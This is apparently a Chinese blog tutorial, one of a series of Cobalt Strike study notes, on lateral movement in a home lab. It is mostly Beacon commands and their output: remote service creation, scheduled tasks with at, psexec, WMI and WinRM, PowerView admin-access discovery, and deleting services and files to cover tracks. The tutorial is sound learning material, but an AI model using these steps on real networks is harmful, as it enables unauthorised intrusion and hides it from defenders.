【CS学习笔记】19、代码执行的方式
0x00 前言
实现代码执行的四个步骤:
1、与目标建立信任关系
2、复制可执行文件到目标上
3、在目标上运行可执行文件
4、实现对目标的控制
以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向移动的方法
更为合适。
0x01 创建可执行文件
创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s)
处进行创建。
如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的。
0x02 上传可执行文件
首先使用 Cobalt Strike 上的 upload
功能上传文件,接着复制文件到目标主机的其他位置。
shell copy file.exe \\host\C$\Windows\Temp
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytesbeacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已复制 1 个文件。
0x03 执行文件(方法一)
1、生成 Windows Service EXE 并上传
2、在目标主机上创建一个服务
shell sc \\host create name binpath= c:\windows\temp\file.exe
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功
注:记住 binpath 路径
3、在目标主机上启动服务
shell sc \\host start name
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x7d0PID : 3816FLAGS : beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130
4、清除痕迹与服务
shell sc \\host delete name
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytesbeacon> shell del \\wintest\C$\windows\temp\beacon.exe
[*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe
[+] host called home, sent: 83 bytesbeacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功
0x04 执行文件(方法二)
1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一
生成的 EXE 是不一样的类型,这里生成的是Windows EXE
,不是方法一中的Windows Service EXE
2、找到目标系统上的时间
shell net time \\host
beacon> shell net time \\windc
[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes
[+] received output:
\\windc 的当前时间是 2020/8/30 14:54:09
命令成功完成。
3、创建一个计划任务
shell at \\host HH:mm C:\path\to\bad.exe
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe
[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一项作业,其作业 ID = 1
4、当计划任务被执行时,执行 link hostname 即可上线主机
beacon> link windc
[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144
0x05 beacon 的自动操作
前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作。
- 使用一个服务运行可执行文件
psexec [target] [share] [listener]
- 使用一个服务运行 Powershell 单行程序
psexec_psh [target] [listener]
- 通过 WinRM 运行 Powershell 单行程序
winrm [target] [listener]
- 通过 WMI 运行 Powershell 单行程序
wmi [target] [listener]
在 Cobalt Strike 的 viwe --> Targets
下,右击主机选择 Jump
也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。
接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view
查看一下当前域环境中的主机信息。
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:Server Name IP Address Platform Version Type Comment----------- ---------- -------- ------- ---- ------- WINDC 192.168.175.144 500 6.1 PDC WINTEST 192.168.175.130 500 6.1
因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用 PowerView 查找一下具有本地管理员访问权限的用户
beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytesbeacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com
接下来在 WinDC 上运行 psexec,因为这里是 64 位的,所以选择 psexec64,之后监听选择一个 smb beacon,会话就选择已经上线的 wintest 主机的会话,并勾选使用当前会话的访问令牌。
这里笔者认为应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着,所以使用 wintest 的访问令牌是可以获取 windc 的信任的,类似于 CS 学习笔记 17 节里的描述方法,如有不正确之处,还请多多指教。
之后,windc 主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动。
更多信息欢迎关注我的微信公众号:TeamsSix
原文链接:https://www.teamssix.com/year/200419-150637.html
参考链接:https://www.bilibili.com/video/BV16b411i7n5
https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf
【CS学习笔记】19、代码执行的方式相关推荐
- Python学习笔记19:列表 III
Python学习笔记19:列表 III 其实这篇笔记标题应该是列表扩展,从列表开始,将涵盖Python中的序列容器. 关于列表的基础知识,可以看我的前两篇文章: Python学习笔记1:列表. Pyt ...
- Linux 学习笔记19 信号
Linux 学习笔记19 信号 信号 信号概述 为什么要是使用信号--为了实现进程的有序退出 信号是进程运行过程中,由自身产生或者由进程外部发来的消息.信号是硬件中断的软件模拟(软中断) signal ...
- [python教程入门学习]python学习笔记(CMD执行文件并传入参数)
本文章向大家介绍python学习笔记(CMD执行文件并传入参数),主要包括python学习笔记(CMD执行文件并传入参数)使用实例.应用技巧.基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋 ...
- TS学习笔记04 JS创建对象的方式
TS学习笔记04 JS创建对象的方式 首先我们回顾下JS中创建对象的方式 比如说我按照下面的创建了两个对象分别为stu1和stu2,比如说我现在想给这两个对象都添加一个新的方法,但是这两个对象 ...
- openCV4.0 C++ 快速入门30讲学习笔记(自用 代码+注释)详细版
课程来源:哔哩哔哩 环境:OpenCV4.5.1 + VS2019 目录 002.图像色彩空间转换 003.图像对象的创建与赋值 004.图像像素的读写操作 005.图像像素的算术操作(加减乘除4种不 ...
- (实验6,实验7)单片机,STM32F4学习笔记,代码讲解【看门狗实验】【正点原子】【原创】
文章目录 其它文章链接,独家吐血整理 实验现象(实验六) 主程序(实验六) 独立看门狗初始化程序(实验六) 代码讲解(实验六) 实验现象(实验七) 主程序(实验七) 窗口看门狗初始化程序(实验七) 代 ...
- (实验50)单片机,STM32F4学习笔记,代码讲解【串口IAP实验】【正点原子】【原创】
文章目录 ❤2023重新理解记录 其它文章链接,独家吐血整理 实验现象 主程序 IAP初始化程序 代码讲解 文章目录 ❤2023重新理解记录 其它文章链接,独家吐血整理 实验现象 主程序 IAP初始化 ...
- Ext.Net学习笔记19:Ext.Net FormPanel 简单用法
Ext.Net学习笔记19:Ext.Net FormPanel 简单用法 FormPanel是一个常用的控件,Ext.Net中的FormPanel控件同样具有非常丰富的功能,在接下来的笔记中我们将一起 ...
- 区块链学习笔记19——ETH难度调整
区块链学习笔记19--ETH难度调整 学习视频:北京大学肖臻老师<区块链技术与应用> 笔记参考:北京大学肖臻老师<区块链技术与应用>公开课系列笔记--目录导航页 前面学过,比特 ...
最新文章
- 用Python建立最简单的web服务器
- excel合并多个工作表_如何快速的合并多个 Excel 工作簿至一个工作簿中的工作表?...
- linux下nginx+python+fastcgi部署总结(web.py版)
- Safe or Glitch-Free Clock Gating
- 《编写高质量代码:改善c程序代码的125个建议》——建议14-2:在右移中合理地选择0或符号位来填充空出的位...
- XMLHttpRequest异步时的超级链接调用函数问题
- 50个GMAIL申请,来吧来吧!
- JAVA如何动态加载jar,并调用对应的函数?
- MVC 中 Html.RenderPartial()与Html.Partial()区别
- PJzhang:360压缩的用户许可协议和隐私政策阅读
- LU列主元法解线性方程组
- My Thirty-fifth Page - 最大二叉树 - By Nicolas
- python3必应壁纸爬虫练手
- 总结一些IT项目经理的管理方法与经验
- Clojure 语言在 2020 年的现状
- ubuntu安装pinta(图片编辑器)
- Ubuntu18 网速显示 插件 显示在状态栏
- 文章摘要智能提取【基于BERT技术】
- php phpqrcode 生成二维码
- Windows未正确加载怎么办?